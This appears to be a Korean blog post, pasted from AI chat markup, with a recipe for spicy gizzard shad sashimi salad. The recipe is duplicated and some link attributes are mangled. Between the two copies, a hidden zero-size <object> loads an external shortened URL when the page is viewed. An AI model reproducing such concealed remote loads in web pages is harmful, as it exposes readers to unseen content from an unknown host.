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<div _ngcontent-ng-c2243765678="" class="markdown markdown-main-panel ui-v2-enabled" dir="ltr" style="--animation-duration: 600ms; --fade-animation-function: cubic-bezier(0.05, 0.7, 0.91, 1);"><h2 data-sourcepos="1:1-1:24">전어회로 만든 고소한 전어회무침 레시피</h2><p data-sourcepos="3:1-3:133">전어회무침은 가을 제철 별미 전어로 만드는 고소하고 맛있는 요리입니다. 쫄깃한 전어회와 아삭한 채소가 매콤달콤한 양념에 어우러져 밥도둑 역할을 톡톡히 합니다. 직접 만든 전어회로 전어회무침을 만들면 더욱 신선하고 맛있게 즐길 수 있습니다.</p><p data-sourcepos="5:1-5:6"><strong>재료</strong></p><ul data-sourcepos="7:1-15:0">
<li data-sourcepos="7:1-7:10">전어회 300g</li>
<li data-sourcepos="8:1-8:9">오이 1/2개</li>
<li data-sourcepos="9:1-9:9">양파 1/4개</li>
<li data-sourcepos="10:1-10:9">대파 1/2개</li>
<li data-sourcepos="11:1-11:7">깻잎 5장</li>
<li data-sourcepos="12:1-12:9">청양고추 1개</li>
<li data-sourcepos="13:1-13:8">통깨 1큰술</li>
<li data-sourcepos="14:1-15:0">참기름 1큰술</li>
</ul><p data-sourcepos="16:1-16:6"><strong>양념</strong></p><ul data-sourcepos="18:1-27:0">
<li data-sourcepos="18:1-18:9">고추장 2큰술</li>
<li data-sourcepos="19:1-19:10">고춧가루 1큰술</li>
<li data-sourcepos="20:1-20:8">식초 2큰술</li>
<li data-sourcepos="21:1-21:8">간장 1큰술</li>
<li data-sourcepos="22:1-22:8">설탕 1큰술</li>
<li data-sourcepos="23:1-23:11">다진 마늘 1큰술</li>
<li data-sourcepos="24:1-24:13">다진 생강 1/2큰술</li>
<li data-sourcepos="25:1-25:11">참기름 1/2큰술</li>
<li data-sourcepos="26:1-27:0">후추 약간</li>
</ul><p data-sourcepos="28:1-28:9"><strong>만드는 법</strong></p><ol data-sourcepos="30:1-54:0">
<li data-sourcepos="30:1-35:0">
<p data-sourcepos="30:4-30:13"><strong>전어회 손질</strong></p>
<ul data-sourcepos="32:4-35:0">
<li data-sourcepos="32:4-32:27">전어회를 찬물에 헹궈 물기를 제거합니다.</li>
<li data-sourcepos="33:4-33:18">비늘과 뼈를 발라냅니다.</li>
<li data-sourcepos="34:4-35:0">전어회를 먹기 좋은 크기로 썰어줍니다.</li>
</ul>
</li>
<li data-sourcepos="36:1-41:0">
<p data-sourcepos="36:4-36:12"><strong>채소 손질</strong></p>
<ul data-sourcepos="38:4-41:0">
<li data-sourcepos="38:4-38:52">오이는 반으로 가른 후 얇게 썰어 소금을 뿌려 10분간 놓아둔 후 물기를 꼭 쭃니다.</li>
<li data-sourcepos="39:4-39:41">양파는 채 썰고, 대파는 송송 썰고, 청양고추는 얇게 썰어줍니다.</li>
<li data-sourcepos="40:4-41:0">깻잎은 손으로 찢어줍니다.</li>
</ul>
</li>
<li data-sourcepos="42:1-45:0">
<p data-sourcepos="42:4-42:13"><strong>양념 만들기</strong></p>
<ul data-sourcepos="44:4-45:0">
<li data-sourcepos="44:4-45:0">볼에 고추장, 고춧가루, 식초, 간장, 설탕, 다진 마늘, 다진 생강, 참기름, 후추를 넣고 잘 섞어줍니다.</li>
</ul>
</li>
<li data-sourcepos="46:1-50:0">
<p data-sourcepos="46:4-46:16"><strong>전어회무침 만들기</strong></p>
<ul data-sourcepos="48:4-50:0">
<li data-sourcepos="48:4-48:54">썰어둔 전어회, 오이, 양파, 대파, 청양고추, 깻잎을 양념에 넣고 골고루 버무려줍니다.</li>
<li data-sourcepos="49:4-50:0">마지막에 통깨와 참기름을 넣고 섞어줍니다.</li>
</ul>
</li>
<li data-sourcepos="51:1-54:0">
<p data-sourcepos="51:4-51:9"><strong>완성</strong></p>
<ul data-sourcepos="53:4-54:0">
<li data-sourcepos="53:4-54:0">전어회무침을 접시에 담고 깨를 뿌려 완성합니다.</li>
</ul>
</li>
</ol><p data-sourcepos="55:1-55:5"><strong>팁</strong></p><ul data-sourcepos="57:1-62:0">
<li data-sourcepos="57:1-57:27">전어회는 신선한 것을 사용하는 것이 좋습니다.</li>
<li data-sourcepos="58:1-58:35">전어회를 손질할 때 비늘과 뼈를 잘 발라내면 먹기 편합니다.</li>
<li data-sourcepos="59:1-59:41">오이는 소금을 뿌려 물기를 제거하면 아삭한 식감을 유지할 수 있습니다.</li>
<li data-sourcepos="60:1-60:24">양념은 취향에 따라 조절할 수 있습니다.</li>
<li data-sourcepos="61:1-62:0">전어회무침을 냉장고에서 30분 정도 차갑게 굳혀 먹으면 더욱 맛있습니다.</li>
</ul><p data-sourcepos="63:1-63:20"><span><div class="attachment-container search-images"><single-image _nghost-ng-c1509706928="" ng-version="0.0.0-PLACEHOLDER"><div _ngcontent-ng-c1509706928="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1509706928="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1509706928="" rel="noopener noreferrer" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c972375129="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_b3d60ca453ec1624&quot;,&quot;c_7577ebc1c10e4256&quot;,null,&quot;rc_a03166575b04fca7&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/5272436"><span _ngcontent-ng-c972375129="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1509706928="" class="image" src="https://lh3.googleusercontent.com/bip/ACo7QZ5rHkT7e-rlZrucUlzk5hHIn4ADZ44_C-nhL_mSYC6rrcZIxXlowIP6tT9RIAUifCyXuSGUziobHFhvRkP8drgLuXqApP9r3hC4CVKNGekyVfgxnYa7ozRrTu5pCi5RHyuPi2Udl2xGRLjpb5fSBvtTZsJsLPe9YcZFQAoSiUg=w250-h200-p" alt="전어회무침 "></span><span _ngcontent-ng-c972375129="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c1509706928="" rel="noopener noreferrer" class="source ng-star-inserted" s://.10000recipe.com/recipe/5272436" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_b3d60ca453ec1624&quot;,&quot;c_7577ebc1c10e4256&quot;,null,&quot;rc_a03166575b04fca7&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1509706928="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c1509706928="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c1509706928="" aria-label=""></span></a><!----></div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image></div></span></p><p data-sourcepos="65:1-65:21"><span><div class="attachment-container search-images"><single-image _nghost-ng-c1509706928="" ng-version="0.0.0-PLACEHOLDER"><div _ngcontent-ng-c1509706928="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1509706928="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1509706928="" rel="noopener noreferrer" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c972375129="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_b3d60ca453ec1624&quot;,&quot;c_7577ebc1c10e4256&quot;,null,&quot;rc_a03166575b04fca7&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s:///babostock/100195845294"><span _ngcontent-ng-c972375129="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1509706928="" class="image" src="https://lh3.googleusercontent.com/bip/ACo7QZ4n7mdXDy7F-0nmGjaei6IkwnU1XBzaGTyr3L6-5-Yy7Ad51FCPFv14Zvg2WjAcrbVT9xiFJe8Rpt7eTfrLh2uwn_dxoJhr9nLrvgjcnijJAgQcwlBDOpqrksh6JGqI9s7xmusNt2p7nIqEPTTUAneUpC5EqB7xPj-klfTwtmTJ5Bph5finyfceVEH7TUkJut89me-ZVjjk7WG98KRNaTJpOAAIY0tDKJwIZor53tQmPNq3o5dm=w250-h200-p" alt="전어회 손질 "></span><span _ngcontent-ng-c972375129="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c1509706928="" rel="noopener noreferrer" class="source ng-star-inserted" s:///babostock/100195845294" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_b3d60ca453ec1624&quot;,&quot;c_7577ebc1c10e4256&quot;,null,&quot;rc_a03166575b04fca7&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1509706928="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcQ-KZ_IQW4f8L4W7cwwlGTl85qFcme6Gb0Ip_PGSEX7cDyBoXlQ5aiwQrKZfPf4heWQ_PI-R4ttAvSs9DIBOsP2YJjBIu0m2a29_g"><!----><span _ngcontent-ng-c1509706928="" class="label ellipsis gmat-caption"></span><span _ngcontent-ng-c1509706928="" aria-label=""></span></a><!----></div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image></div></span></p><p data-sourcepos="67:1-67:24"><span><div class="attachment-container search-images"><single-image _nghost-ng-c1509706928="" ng-version="0.0.0-PLACEHOLDER"><div _ngcontent-ng-c1509706928="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1509706928="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1509706928="" rel="noopener noreferrer" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c972375129="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_b3d60ca453ec1624&quot;,&quot;c_7577ebc1c10e4256&quot;,null,&quot;rc_a03166575b04fca7&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/5379723"><span _ngcontent-ng-c972375129="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1509706928="" class="image" src="https://lh3.googleusercontent.com/bip/ACo7QZ76Oz09Nom0sBqNKc4JoiiGLVB1LSGjuYNNXv77qFFUd-Ose6Qqs17ROz1FWLSLME05-kuAKjnjdzZVXYCoa7ewz1EcoBpleQepZWY0GQFQE9hQ3Z7DVM5UB7PX_YX8ThBJimMpdynEZ9bKdd_WFvQAo43WCPKLy8B-hfPMq2k=w250-h200-p" alt="전어회무침 만들기 "></span><span _ngcontent-ng-c972375129="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c1509706928="" rel="noopener noreferrer" class="source ng-star-inserted" s://.10000recipe.com/recipe/5379723" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_b3d60ca453ec1624&quot;,&quot;c_7577ebc1c10e4256&quot;,null,&quot;rc_a03166575b04fca7&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1509706928="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c1509706928="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c1509706928="" aria-label=""></span></a><!----></div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image></div></span></p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cn2d" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
<div _ngcontent-ng-c2243765678="" class="markdown markdown-main-panel ui-v2-enabled" dir="ltr" style="--animation-duration: 600ms; --fade-animation-function: cubic-bezier(0.05, 0.7, 0.91, 1);"><h2 data-sourcepos="1:1-1:24">전어회로 만든 고소한 전어회무침 레시피</h2><p data-sourcepos="3:1-3:133">전어회무침은 가을 제철 별미 전어로 만드는 고소하고 맛있는 요리입니다. 쫄깃한 전어회와 아삭한 채소가 매콤달콤한 양념에 어우러져 밥도둑 역할을 톡톡히 합니다. 직접 만든 전어회로 전어회무침을 만들면 더욱 신선하고 맛있게 즐길 수 있습니다.</p><p data-sourcepos="5:1-5:6"><strong>재료</strong></p><ul data-sourcepos="7:1-15:0">
<li data-sourcepos="7:1-7:10">전어회 300g</li>
<li data-sourcepos="8:1-8:9">오이 1/2개</li>
<li data-sourcepos="9:1-9:9">양파 1/4개</li>
<li data-sourcepos="10:1-10:9">대파 1/2개</li>
<li data-sourcepos="11:1-11:7">깻잎 5장</li>
<li data-sourcepos="12:1-12:9">청양고추 1개</li>
<li data-sourcepos="13:1-13:8">통깨 1큰술</li>
<li data-sourcepos="14:1-15:0">참기름 1큰술</li>
</ul><p data-sourcepos="16:1-16:6"><strong>양념</strong></p><ul data-sourcepos="18:1-27:0">
<li data-sourcepos="18:1-18:9">고추장 2큰술</li>
<li data-sourcepos="19:1-19:10">고춧가루 1큰술</li>
<li data-sourcepos="20:1-20:8">식초 2큰술</li>
<li data-sourcepos="21:1-21:8">간장 1큰술</li>
<li data-sourcepos="22:1-22:8">설탕 1큰술</li>
<li data-sourcepos="23:1-23:11">다진 마늘 1큰술</li>
<li data-sourcepos="24:1-24:13">다진 생강 1/2큰술</li>
<li data-sourcepos="25:1-25:11">참기름 1/2큰술</li>
<li data-sourcepos="26:1-27:0">후추 약간</li>
</ul><p data-sourcepos="28:1-28:9"><strong>만드는 법</strong></p><ol data-sourcepos="30:1-54:0">
<li data-sourcepos="30:1-35:0">
<p data-sourcepos="30:4-30:13"><strong>전어회 손질</strong></p>
<ul data-sourcepos="32:4-35:0">
<li data-sourcepos="32:4-32:27">전어회를 찬물에 헹궈 물기를 제거합니다.</li>
<li data-sourcepos="33:4-33:18">비늘과 뼈를 발라냅니다.</li>
<li data-sourcepos="34:4-35:0">전어회를 먹기 좋은 크기로 썰어줍니다.</li>
</ul>
</li>
<li data-sourcepos="36:1-41:0">
<p data-sourcepos="36:4-36:12"><strong>채소 손질</strong></p>
<ul data-sourcepos="38:4-41:0">
<li data-sourcepos="38:4-38:52">오이는 반으로 가른 후 얇게 썰어 소금을 뿌려 10분간 놓아둔 후 물기를 꼭 쭃니다.</li>
<li data-sourcepos="39:4-39:41">양파는 채 썰고, 대파는 송송 썰고, 청양고추는 얇게 썰어줍니다.</li>
<li data-sourcepos="40:4-41:0">깻잎은 손으로 찢어줍니다.</li>
</ul>
</li>
<li data-sourcepos="42:1-45:0">
<p data-sourcepos="42:4-42:13"><strong>양념 만들기</strong></p>
<ul data-sourcepos="44:4-45:0">
<li data-sourcepos="44:4-45:0">볼에 고추장, 고춧가루, 식초, 간장, 설탕, 다진 마늘, 다진 생강, 참기름, 후추를 넣고 잘 섞어줍니다.</li>
</ul>
</li>
<li data-sourcepos="46:1-50:0">
<p data-sourcepos="46:4-46:16"><strong>전어회무침 만들기</strong></p>
<ul data-sourcepos="48:4-50:0">
<li data-sourcepos="48:4-48:54">썰어둔 전어회, 오이, 양파, 대파, 청양고추, 깻잎을 양념에 넣고 골고루 버무려줍니다.</li>
<li data-sourcepos="49:4-50:0">마지막에 통깨와 참기름을 넣고 섞어줍니다.</li>
</ul>
</li>
<li data-sourcepos="51:1-54:0">
<p data-sourcepos="51:4-51:9"><strong>완성</strong></p>
<ul data-sourcepos="53:4-54:0">
<li data-sourcepos="53:4-54:0">전어회무침을 접시에 담고 깨를 뿌려 완성합니다.</li>
</ul>
</li>
</ol><p data-sourcepos="55:1-55:5"><strong>팁</strong></p><ul data-sourcepos="57:1-62:0">
<li data-sourcepos="57:1-57:27">전어회는 신선한 것을 사용하는 것이 좋습니다.</li>
<li data-sourcepos="58:1-58:35">전어회를 손질할 때 비늘과 뼈를 잘 발라내면 먹기 편합니다.</li>
<li data-sourcepos="59:1-59:41">오이는 소금을 뿌려 물기를 제거하면 아삭한 식감을 유지할 수 있습니다.</li>
<li data-sourcepos="60:1-60:24">양념은 취향에 따라 조절할 수 있습니다.</li>
<li data-sourcepos="61:1-62:0">전어회무침을 냉장고에서 30분 정도 차갑게 굳혀 먹으면 더욱 맛있습니다.</li>
</ul><p data-sourcepos="63:1-63:20"><span><div class="attachment-container search-images"><single-image _nghost-ng-c1509706928="" ng-version="0.0.0-PLACEHOLDER"><div _ngcontent-ng-c1509706928="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1509706928="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1509706928="" rel="noopener noreferrer" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c972375129="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_b3d60ca453ec1624","c_7577ebc1c10e4256",null,"rc_a03166575b04fca7",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/5272436"><span _ngcontent-ng-c972375129="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1509706928="" class="image" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Flh3.googleusercontent.com%2Fbip%2FACo7QZ5rHkT7e-rlZrucUlzk5hHIn4ADZ44_C-nhL_mSYC6rrcZIxXlowIP6tT9RIAUifCyXuSGUziobHFhvRkP8drgLuXqApP9r3hC4CVKNGekyVfgxnYa7ozRrTu5pCi5RHyuPi2Udl2xGRLjpb5fSBvtTZsJsLPe9YcZFQAoSiUg%3Dw250-h200-p" alt="전어회무침 "></span><span _ngcontent-ng-c972375129="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c1509706928="" rel="noopener noreferrer" class="source ng-star-inserted" s://.10000recipe.com/recipe/5272436" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_b3d60ca453ec1624","c_7577ebc1c10e4256",null,"rc_a03166575b04fca7",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1509706928="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c1509706928="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c1509706928="" aria-label=""></span></a><!----></div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image></div></span></p><p data-sourcepos="65:1-65:21"><span><div class="attachment-container search-images"><single-image _nghost-ng-c1509706928="" ng-version="0.0.0-PLACEHOLDER"><div _ngcontent-ng-c1509706928="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1509706928="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1509706928="" rel="noopener noreferrer" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c972375129="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_b3d60ca453ec1624","c_7577ebc1c10e4256",null,"rc_a03166575b04fca7",null,null,"ko",null,null,null,null,1,0]];mutable:true" s:///babostock/100195845294"><span _ngcontent-ng-c972375129="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1509706928="" class="image" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Flh3.googleusercontent.com%2Fbip%2FACo7QZ4n7mdXDy7F-0nmGjaei6IkwnU1XBzaGTyr3L6-5-Yy7Ad51FCPFv14Zvg2WjAcrbVT9xiFJe8Rpt7eTfrLh2uwn_dxoJhr9nLrvgjcnijJAgQcwlBDOpqrksh6JGqI9s7xmusNt2p7nIqEPTTUAneUpC5EqB7xPj-klfTwtmTJ5Bph5finyfceVEH7TUkJut89me-ZVjjk7WG98KRNaTJpOAAIY0tDKJwIZor53tQmPNq3o5dm%3Dw250-h200-p" alt="전어회 손질 "></span><span _ngcontent-ng-c972375129="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c1509706928="" rel="noopener noreferrer" class="source ng-star-inserted" s:///babostock/100195845294" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_b3d60ca453ec1624","c_7577ebc1c10e4256",null,"rc_a03166575b04fca7",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1509706928="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQ-KZ_IQW4f8L4W7cwwlGTl85qFcme6Gb0Ip_PGSEX7cDyBoXlQ5aiwQrKZfPf4heWQ_PI-R4ttAvSs9DIBOsP2YJjBIu0m2a29_g"><!----><span _ngcontent-ng-c1509706928="" class="label ellipsis gmat-caption"></span><span _ngcontent-ng-c1509706928="" aria-label=""></span></a><!----></div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image></div></span></p><p data-sourcepos="67:1-67:24"><span><div class="attachment-container search-images"><single-image _nghost-ng-c1509706928="" ng-version="0.0.0-PLACEHOLDER"><div _ngcontent-ng-c1509706928="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1509706928="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1509706928="" rel="noopener noreferrer" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c972375129="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_b3d60ca453ec1624","c_7577ebc1c10e4256",null,"rc_a03166575b04fca7",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/5379723"><span _ngcontent-ng-c972375129="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1509706928="" class="image" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Flh3.googleusercontent.com%2Fbip%2FACo7QZ76Oz09Nom0sBqNKc4JoiiGLVB1LSGjuYNNXv77qFFUd-Ose6Qqs17ROz1FWLSLME05-kuAKjnjdzZVXYCoa7ewz1EcoBpleQepZWY0GQFQE9hQ3Z7DVM5UB7PX_YX8ThBJimMpdynEZ9bKdd_WFvQAo43WCPKLy8B-hfPMq2k%3Dw250-h200-p" alt="전어회무침 만들기 "></span><span _ngcontent-ng-c972375129="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c1509706928="" rel="noopener noreferrer" class="source ng-star-inserted" s://.10000recipe.com/recipe/5379723" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_b3d60ca453ec1624","c_7577ebc1c10e4256",null,"rc_a03166575b04fca7",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1509706928="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c1509706928="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c1509706928="" aria-label=""></span></a><!----></div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image></div></span></p></div>
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전어회 사서 전어 회무침 만들기 전어무침 고소한 전어요리
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24.03.09 01:02
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